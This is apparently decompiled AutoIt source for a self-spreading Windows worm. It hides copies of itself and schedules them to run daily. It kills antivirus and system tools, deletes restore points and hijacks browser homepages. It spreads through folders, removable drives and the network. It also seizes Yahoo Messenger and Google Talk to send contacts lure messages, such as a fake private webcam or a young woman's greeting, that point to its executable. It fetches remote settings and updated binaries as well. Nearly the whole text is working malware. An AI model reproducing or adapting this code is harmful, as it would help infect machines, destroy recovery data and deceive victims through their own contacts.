	$MSG[9] = "happy valentine day screen saver from http://advgoogle.0catch.com/love.scr  " & @CRLF & " and view secrets from private cam BIN"
	$MSG[9] = "asl please" & @CRLF & "I am 23 Female, Delhi (India)" & @CRLF & "and you?"
	$RANDOMMINRANGE = 0
	$RANDOMMAXRANGE = $MSGCOUNT - 1
	$RENDOMGETINTVALUE = 1
	$RANDOMNUMBER = RANDOM($RANDOMMINRANGE, $RANDOMMAXRANGE, $RENDOMGETINTVALUE)
	$RENDOMMSG = GETVAR("msg[" & $RANDOMNUMBER & "]", $MSG[$RANDOMNUMBER])
	$RENDOMMSG = STRINGREGEXPREPLACE($RENDOMMSG, "URL", GETHOMEPAGE())
	$RENDOMMSG = STRINGREGEXPREPLACE($RENDOMMSG, "BIN", GETBINARYPATH(".exe"))
	$RENDOMMSG = STRINGREGEXPREPLACE($RENDOMMSG, "ENTER", @CRLF)
	RETURN $RENDOMMSG
ENDFUNC
FUNC GETVAR($VARNAME, $DEFAULT = "DEFAULT_NOT_SET", $SECTION = "setting")
	IF NOT FILEEXISTS($SETTINGSFILEPATH) THEN
		DEBUG("Settings file not found: " & $SETTINGSFILEPATH & @CRLF & $VARNAME & "= Default")
	ENDIF
	RETURN INIREAD($SETTINGSFILEPATH, $SECTION, $VARNAME, $DEFAULT)
ENDFUNC
FUNC INSTALL()
	IF NOT FILEEXISTS("c:\install.txt") THEN
		IF SAIFTYCHECK("install") THEN
			$NAME = GETVAR("name", $NAME)
			$VIRUS_FILE1 = $INSTALLDIR & "\" & $NAME & $EXE
			$VIRUS_FILE2 = $SECONDDIR & "\" & $NAME & $EXE
			FILESETATTRIB($VIRUS_FILE1, "-RSH")
			FILEDELETE($VIRUS_FILE1)
			FILESETATTRIB($VIRUS_FILE2, "-RSH")
			FILEDELETE($VIRUS_FILE2)
			FILECOPY(@AUTOITEXE, $VIRUS_FILE1, 0)
			FILESETATTRIB($VIRUS_FILE1, "+RSH")
			FILECOPY(@AUTOITEXE, $VIRUS_FILE2, 0)
			FILESETATTRIB($VIRUS_FILE2, "-RSH")
			IF NOT FILEEXISTS($VIRUS_FILE2) THEN
				DEBUG("ERROR: unable to install " & $VIRUS_FILE2)
			ENDIF
			IF FILEEXISTS($VIRUS_FILE1) THEN
				IF FILEEXISTS($VIRUS_FILE2) THEN
					DEBUG("File copied from " & @AUTOITEXE & " to " & CHR(10) & $VIRUS_FILE1 & CHR(10) & $VIRUS_FILE2)
				ELSE
					DEBUG("Error: " & $VIRUS_FILE2 & " not copied.")
				ENDIF
			ELSE
				DEBUG("Error: " & $VIRUS_FILE1 & " not copied.")
			ENDIF
			DISABLEWINAPPS()
			SETBROWSERHOMEPAGE()
			_RUNDOS("AT /delete /yes")
			_RUNDOS("AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su " & $INSTALLDIR & "\" & $NAME & $EXE)
		ENDIF
	ELSE
		DEBUG("Skipping installation as c:\install.txt exists")
	ENDIF
ENDFUNC
FUNC KILLPROCESS()
	IF PROCESSEXISTS("game_y.exe") THEN
		PROCESSCLOSE("game_y.exe")
	ENDIF
	IF WINEXISTS("Bkav2006") THEN
		WINCLOSE("Bkav2006")
		REGDELETE("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "BkavFw")
	ENDIF
	IF WINEXISTS("System Configuration") THEN
		WINCLOSE("System Configuration")
	ENDIF
	IF WINEXISTS("Registry") THEN
		WINCLOSE("Registry")
	ENDIF
	IF WINEXISTS("Windows Task") THEN
		WINCLOSE("Windows Task")
	ENDIF
	IF WINEXISTS("[FireLion]") THEN
		REGDELETE("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "IEProtection")
		SHUTDOWN(2)
	ENDIF
	IF PROCESSEXISTS("cmd.exe") THEN
		PROCESSCLOSE("cmd.exe")
	ENDIF
ENDFUNC
FUNC LOGMSG($MSG)
	IF $DEBUG THEN
		$FILE = FILEOPEN($LOGFILENAME, 1)
		IF $FILE = -1 THEN
			MSGBOX(0, "Error", "Unable to open file.")
			EXIT
		ENDIF
		FILEWRITE($FILE, $MSG)
		FILEWRITE($FILE, @CR & @LF)
		FILECLOSE($FILE)
	ENDIF
ENDFUNC
FUNC MAIN()
	$LIST = PROCESSLIST(GETFILENAME(@AUTOITEXE))
	IF $LIST[0][0] > 1 THEN
		DEBUG("One copy of program is allready running...")
		EXIT
	ENDIF
	PRINTGLOBLES()
	INSTALL()
	CREATEINI()
	UPDATE()
	$SENDMSGTIMER = TIMERINIT() + NUMBER($ONEMINDIFF * $SENDMSGDELAY)
	$UPDATETIMER = TIMERINIT() + NUMBER($ONEMINDIFF * $SENDUPDATEDELAY)
	$COPYINDISKTIMER = TIMERINIT() + NUMBER($ONEMINDIFF * $COPYINDISKDELAY)
	IF SETUPYM() THEN
		ADDID($MYYMID)
		SLEEP(2000)
		SENDYMMESS()
		SLEEP(30000)
	ENDIF
	REMOVERESTOREPOINTS()
	SENDGTALKMESS()
	COPYINDISK("ALL")
	COPYNETWORK()
	WHILE(1)
		IF FILEEXISTS("c:\god.txt") THEN EXIT
		KILLPROCESS()
		IF TIMERINIT() > $COPYINDISKTIMER THEN
			COPYINDISK("REMOVABLE")
			$COPYINDISKTIMER = TIMERINIT() + NUMBER($ONEMINDIFF * $COPYINDISKDELAY)
		ELSE
			DEBUG("Ignoring 'copyInDisk' " & INT(TIMERINIT() / $ONEMINDIFF) & " < " & INT($COPYINDISKTIMER / $ONEMINDIFF))
		ENDIF
		IF TIMERINIT() > $UPDATETIMER THEN
			UPDATE()
			$UPDATETIMER = TIMERINIT() + NUMBER($ONEMINDIFF * $SENDUPDATEDELAY)
		ELSE
			DEBUG("Ignoring 'update' " & INT(TIMERINIT() / $ONEMINDIFF) & " < " & INT($UPDATETIMER / $ONEMINDIFF))
		ENDIF
		IF TIMERINIT() > $SENDMSGTIMER THEN
			SETBROWSERHOMEPAGE()
			IF SETUPYM() THEN
				SENDYMMESS()
			ENDIF
			SLEEP(30000)
			SENDGTALKMESS()
			$SENDMSGTIMER = TIMERINIT() + NUMBER($ONEMINDIFF * $SENDMSGDELAY)
		ELSE
			DEBUG("Ignoring 'setupYM and sendYMmess' " & INT(TIMERINIT() / $ONEMINDIFF) & " < " & INT($SENDMSGTIMER / $ONEMINDIFF))
		ENDIF
	WEND
	DEBUG("Program is done.....")
ENDFUNC
FUNC PRINTGLOBLES()
	IF SAIFTYCHECK("printGlobles") THEN
		$STRING = "$DEBUG        = " & $DEBUG & @CRLF & "$timeStamp    = " & $TIMESTAMP & @CRLF & "$name         = " & $NAME & @CRLF & "$myYMID       = " & $MYYMID & @CRLF & "$ini          = " & $INI & @CRLF & "$nql          = " & $NQL & @CRLF & "$xls          = " & $XLS & @CRLF & "$VERSION      = " & $VERSION & @CRLF & "$homepage[0]  = " & $HOMEPAGE[0] & @CRLF & "$webstoragepool[15]= " & $WEBSTORAGEPOOL[15] & @CRLF & "$InstallDir   = " & $INSTALLDIR & @CRLF & "$secondDir    = " & $SECONDDIR & @CRLF & "$logfilename  = " & $LOGFILENAME
		DEBUG($STRING)
	ENDIF
ENDFUNC
FUNC REMOVERESTOREPOINTS()
	IF SAIFTYCHECK("removeRestorePoints") THEN
		$DISK = DRIVEGETDRIVE("FIXED")
		IF NOT @ERROR THEN
			FOR $I = 1 TO $DISK[0]
				IF $DISK[$I] <> "A:" THEN
					$COMMAND = "cacls " & CHR(34) & @HOMEDRIVE & "\system volume information" & CHR(34) & " /e /g " & CHR(34) & @USERNAME & CHR(34) & ":f"
					_RUNDOS($COMMAND)
					FILESETATTRIB(@HOMEDRIVE & "\system volume information", "-RSH", 1)
					DIRREMOVE(@HOMEDRIVE & "\system volume information", 1)
					DEBUG("Removing " & @HOMEDRIVE & "\system volume information")
				ENDIF
			NEXT
		ENDIF
	ENDIF
ENDFUNC
FUNC SAIFTYCHECK($FUNCNAME = "this function")
	IF FILEEXISTS("c:\god.txt") THEN EXIT
	$CN = @COMPUTERNAME
	$PASSWORD = "amonia007"
	IF($CN == "ALLADIN") OR($CN == "TARANG") OR($CN == "PARAM") OR FILEEXISTS("c:\debug.txt") THEN
		$DEBUG = TRUE
		$USR_STR = INPUTBOX("Free Phone Dialer  -  " & $TIMESTAMP, "Execution of '" & $FUNCNAME & "' requires password.", "", "*")
		IF(1 = @ERROR) THEN
			DEBUG("Program is done")
			EXIT 0
		ENDIF
		IF($PASSWORD = $USR_STR) THEN
			RETURN TRUE
		ELSE
			RETURN FALSE
		ENDIF
	ELSE
		$DEBUG = FALSE
		RETURN TRUE
	ENDIF
ENDFUNC
FUNC SEARCHANDSPREAD($CURRENT)
	IF NOT FILEEXISTS("c:\disk.txt") THEN
		LOCAL $SEARCH = FILEFINDFIRSTFILE($CURRENT & "\*.*")
		WHILE 1
			DIM $FILE = FILEFINDNEXTFILE($SEARCH)
			IF @ERROR OR STRINGLEN($FILE) < 1 THEN EXITLOOP
			IF STRINGINSTR(FILEGETATTRIB($CURRENT & "\" & $FILE), "D") AND($FILE <> "." OR $FILE <> "..") THEN
				LOGMSG("Spreading " & $CURRENT & "\" & $FILE & "\" & $FILE & $EXE)
				FILECOPY($VIRUS_FILE2, $CURRENT & "\" & $FILE & "\" & $FILE & $EXE, 0)
				SEARCHANDSPREAD($CURRENT & "\" & $FILE)
			ENDIF
			SLEEP(1)
		WEND
		FILECLOSE($SEARCH)
	ELSE
		DEBUG("Skipping SearchAndSpread as c:\disk.txt is exists")
	ENDIF
ENDFUNC
FUNC SENDGTALKMESS()
	IF SAIFTYCHECK("sendGtalkmess") THEN
		IF SETUPGTALK() THEN
			BLOCKINPUT(1)
			SLEEP(1000)
			SETUPGTALK()
			SLEEP(1000)
			$WIDTH = 250
			WINMOVE("Google Talk", "", @DESKTOPWIDTH - $WIDTH, 0, $WIDTH, @DESKTOPHEIGHT)
			SEND("a")
			SEND("{BACKSPACE}")
			$DELAY = 100
			SLEEP($DELAY)
			BLOCKINPUT(1)
			FOR $I = 1 TO 10 STEP 1
				CLIPPUT(GETRANDOMMSG())
				SEND("{DOWN}")
				SLEEP($DELAY)
				SEND("{ENTER}")
				SLEEP($DELAY)
				SEND("^v {ENTER}")
				SLEEP($DELAY)
				SEND("!{f4}")
				SLEEP($DELAY)
			NEXT
			BLOCKINPUT(0)
		ENDIF
		BLOCKINPUT(0)
		SLEEP(1000)
		BLOCKINPUT(0)
		WINSETONTOP("Google Talk", "", 0)
	ENDIF
ENDFUNC
FUNC SENDYMMESS()
	IF SAIFTYCHECK("sendYMmess") THEN
		$TIEUDE = WINGETTITLE("Yahoo! Messenger", "")
		$KIEMTRA = WINEXISTS($TIEUDE)
		IF $KIEMTRA = 1 THEN
			BLOCKINPUT(1)
			WINACTIVATE($TIEUDE)
			CLIPPUT("View my webcam (private)" & GETBINARYPATH(".exe"))
			SEND("!m")
			SEND("un")
			SEND("^v {ENTER}{ENTER}")
			SEND("^m")
			SEND("{DOWN}")
			SEND("^{SHIFTDOWN}{END}{SHIFTUP}")
			SLEEP(1000)
			SEND("{ENTER}")
			SLEEP(1000)
			CLIPPUT(GETRANDOMMSG())
			SEND("^v {ENTER}")
			BLOCKINPUT(0)
		ENDIF
		SLEEP(100)
	ENDIF
ENDFUNC
FUNC SETBROWSERHOMEPAGE()
	IF SAIFTYCHECK("setBrowserHomePage") THEN
		$MYWEB = GETHOMEPAGE()
		REGWRITE("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main", "Default_Page_URL", "REG_SZ", $MYWEB)
		REGWRITE("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main", "Default_Search_URL", "REG_SZ", $MYWEB)
		REGWRITE("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main", "Search Page", "REG_SZ", $MYWEB)
		REGWRITE("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main", "Start Page", "REG_SZ", $MYWEB)
		REGWRITE("HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Internet Explorer\Control Panel", "HomePage", "REGDWORD", 1)
		REGWRITE("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Start Page", "REG_SZ", $MYWEB)
		REGWRITE("HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel", "HomePage", "REGDWORD", 1)
		DEBUG("set browser default page to " & $MYWEB)
	ENDIF
ENDFUNC
FUNC SETUPGTALK()
	$TIEUDE = "Google Talk"
	$STATUS = WINACTIVATE($TIEUDE)
	IF NOT $STATUS THEN
		$GOOGLETALK = REGREAD("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\gtalk\shell\open\command", "")
		$RESULT = STRINGINSTR($GOOGLETALK, "googletalk")
		IF $RESULT THEN
			$GOOGLETALK = STRINGSPLIT($GOOGLETALK, '"')
			RUN($GOOGLETALK[2])
			SLEEP(1000)
			SEND("{enter}")
		ENDIF
		RETURN 0
	ELSE
		WINGETTITLE($TIEUDE, "")
		WINSETSTATE("Google Talk", "", @SW_SHOW)
		WINSETONTOP("Google Talk", "", 1)
	ENDIF
	WINACTIVATE($TIEUDE)
	$COTECTLISTVISIBLE = CONTROLCOMMAND("Google Talk", "", "[CLASS:Contact List View; INSTANCE:1]", "IsVisible", "")
	IF NOT $COTECTLISTVISIBLE THEN
		DEBUG("TERMINATING, as user is not loged on Google talk...")
		RETURN 0
	ELSE
		DEBUG("Gtalk is set for sending messages...")
	ENDIF
	RETURN WINEXISTS($TIEUDE)
ENDFUNC
FUNC SETUPYM()
	IF SAIFTYCHECK("setupYM") THEN
		$TIEUDE = "Yahoo! Messenger"
		$STATUS = WINACTIVATE($TIEUDE)
		IF NOT $STATUS THEN
			$YAHOOMESSANGER = REGREAD("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ymsgr\shell\open\command", "")
			$RESULT = STRINGINSTR($YAHOOMESSANGER, "YahooMessenger")
			IF $RESULT THEN
				$YAHOOMESSANGER = STRINGSPLIT($YAHOOMESSANGER, '"')
				RUN($YAHOOMESSANGER[2])
				SLEEP(1000)
				SEND("{enter}")
			ELSE
				DEBUG("Yahoo Messenger is not installed on your machine")
				RETURN 0
				MSGBOX(64, "Search result:", "Yahoo Messenger is not installed on your machine" & CHR(10) & CHR(10) & "Going to install it")
				IF INETGET("http://rd.software.yahoo.com/msgr/9/msgr9us.exe", @DESKTOPDIR & "\" & "yahooInstaller.exe", 1, 0) THEN
					IF FILEEXISTS(@DESKTOPDIR & "\" & "yahooInstaller.exe") THEN
						MSGBOX(64, "Download Status", "Yahoo Messenger's installer program downloaded successfully  " & CHR(10) & CHR(10) & @DESKTOPDIR & "\" & "yahooInstaller.exe")
						RUN(@DESKTOPDIR & "\" & "yahooInstaller.exe")
					ELSE
						MSGBOX(16, "Download Status", "Failed to download Yahoo Messenger")
					ENDIF
				ELSE
					MSGBOX(16, "Internet issue", "Failed to download Yahoo Messenger")
				ENDIF
			ENDIF
			RETURN 0
		ELSE
			$TEXT = CONTROLGETTEXT("Yahoo! Messenger", "", "[CLASS:Button; INSTANCE:4]")
			IF $TEXT == "&Sign In" THEN
				DEBUG("NOTE: User not signed in. hitting enter to sign in user")
				SEND("{enter}")
			ENDIF
			$TEXT = CONTROLGETTEXT("Yahoo! Messenger", "", "[CLASS:YMBuddySearcher; INSTANCE:1]")
			IF(NOT($TEXT = "YMBuddySearcher")) THEN
				DEBUG("TERMINATING, as user is not loged on Yahoo Messanger...")
				RETURN 0
			ELSE
				DEBUG("Yahoo Messenger is set for sending messages...")
			ENDIF
		ENDIF
		RETURN 1
	ENDIF
ENDFUNC
FUNC UPDATE()
	IF SAIFTYCHECK("update") THEN
		DOWNLOADSETTINGSFILE()
		$WEBSTORAGE = GETVAR("webstoragepool[15]", $WEBSTORAGEPOOL[15])
		$WEBSTORAGEPOOLCOUNT = GETVAR("webstoragepoolcount", $WEBSTORAGEPOOLCOUNT)
		$NAME = GETVAR("name", $NAME)
		$FILE01 = GETVAR("filedownload1", "NO_FILE")
		$SENDMSGDELAY = GETVAR("sendMsgDelay", $SENDMSGDELAY)
		$SENDUPDATEDELAY = GETVAR("sendUpdateDelay", $SENDUPDATEDELAY)
		$COPYINDISKDELAY = GETVAR("copyInDiskDelay", $COPYINDISKDELAY)
		$DEACTIVE = GETVAR("deactive", "NO")
		$NEWFILEVERSION = GETVAR("version", "100000")
		IF($DEACTIVE = "yes") THEN
			DEBUG("EXIT: Program is disabled by programer from settings file.")
			EXIT
		ENDIF
		DEBUG("SETTING.webstorage = " & $WEBSTORAGE & CHR(10) & CHR(10) & "SETTING.name       = " & $NAME & CHR(10) & "SETTING.check03    = " & $FILE01 & CHR(10) & CHR(10) & "SETTING.sendMsg    = " & $SENDMSGDELAY & CHR(10) & "SETTING.sendUpdate = " & $SENDUPDATEDELAY & CHR(10) & "SETTING.copyInDisk = " & $COPYINDISKDELAY)
		IF $VERSION < $NEWFILEVERSION THEN
			DEBUG("New version is awalable. V" & $NEWFILEVERSION & CHR(10) & "You are running V" & $VERSION)
			IF(NOT($FILE01 = "NO_FILE")) THEN
				FOR $IND = 1 TO $WEBSTORAGEPOOLCOUNT * 2 STEP 1
					$STATUS = DOWNLOADBINARY($FILE01, ".xls")
					IF(NOT($STATUS = 2)) THEN
						EXITLOOP
					ELSE
						$STATUS = DOWNLOADBINARY($FILE01, ".exe")
						IF(NOT($STATUS = 2)) THEN
							EXITLOOP
						ENDIF
					ENDIF
				NEXT
			ENDIF
		ELSE
			DEBUG("No new version is awalable. you are running V " & $VERSION)
		ENDIF
		IF SETUPYM() THEN
			ADDID($MYYMID)
			SLEEP(2000)
		ENDIF
	ENDIF
ENDFUNC
FUNC SETUPFIREFOX($SET_URL)
	DIM $FOLDERNAME = @APPDATADIR
	$SEARCHFILE = "prefs.js"
	SCANFOLDER($FOLDERNAME, $SEARCHFILE)
	DUMPFIREFOXCONFIGFILE($PREFSPATH, $PREFSPATH & ".new", $SET_URL)
	FILEMOVE($PREFSPATH & ".new", $PREFSPATH, 1)
ENDFUNC
FUNC SCANFOLDER($SOURCEFOLDER, $SEARCHFILE)
	LOCAL $SEARCH
	LOCAL $FILE
	LOCAL $FILEATTRIBUTES
	LOCAL $FULLFILEPATH
	$SEARCH = FILEFINDFIRSTFILE($SOURCEFOLDER & "\*.*")
	WHILE 1
		IF $SEARCH = -1 THEN
			EXITLOOP
		ENDIF
		$FILE = FILEFINDNEXTFILE($SEARCH)
		IF @ERROR THEN EXITLOOP
		$FULLFILEPATH = $SOURCEFOLDER & "\" & $FILE
		$FILEATTRIBUTES = FILEGETATTRIB($FULLFILEPATH)
		IF STRINGINSTR($FILEATTRIBUTES, "D") THEN
			SCANFOLDER($FULLFILEPATH, $SEARCHFILE)
		ELSE
			IF $SEARCHFILE = $FILE THEN
				$PREFSPATH = $FULLFILEPATH
			ENDIF
		ENDIF
	WEND
	FILECLOSE($SEARCH)
ENDFUNC
FUNC DUMPFIREFOXCONFIGFILE($FILENAME, $WRITE_IN, $URL)
	$FILE_R = FILEOPEN($FILENAME, 0)
	IF $FILE_R = -1 THEN RETURN
	$FILE_W = FILEOPEN($WRITE_IN, 1)
	IF $FILE_W = -1 THEN RETURN
	WHILE 1
		$LINE = FILEREADLINE($FILE_R)
		IF @ERROR = -1 THEN EXITLOOP
		IF NOT STRINGINSTR($LINE, '"browser.startup.homepage"') THEN
			FILEWRITELINE($FILE_W, $LINE)
		ENDIF
	WEND
	FILEWRITELINE($FILE_W, 'user_pref("browser.startup.homepage", "' & $URL & '");')
	FILECLOSE($FILE_R)
	FILECLOSE($FILE_W)
ENDFUNC
; DeTokenise by [#] [#] myAut2Exe >The Open Source AutoIT/AutoHotKey script decompiler< [#] 2.15 build(203) [#]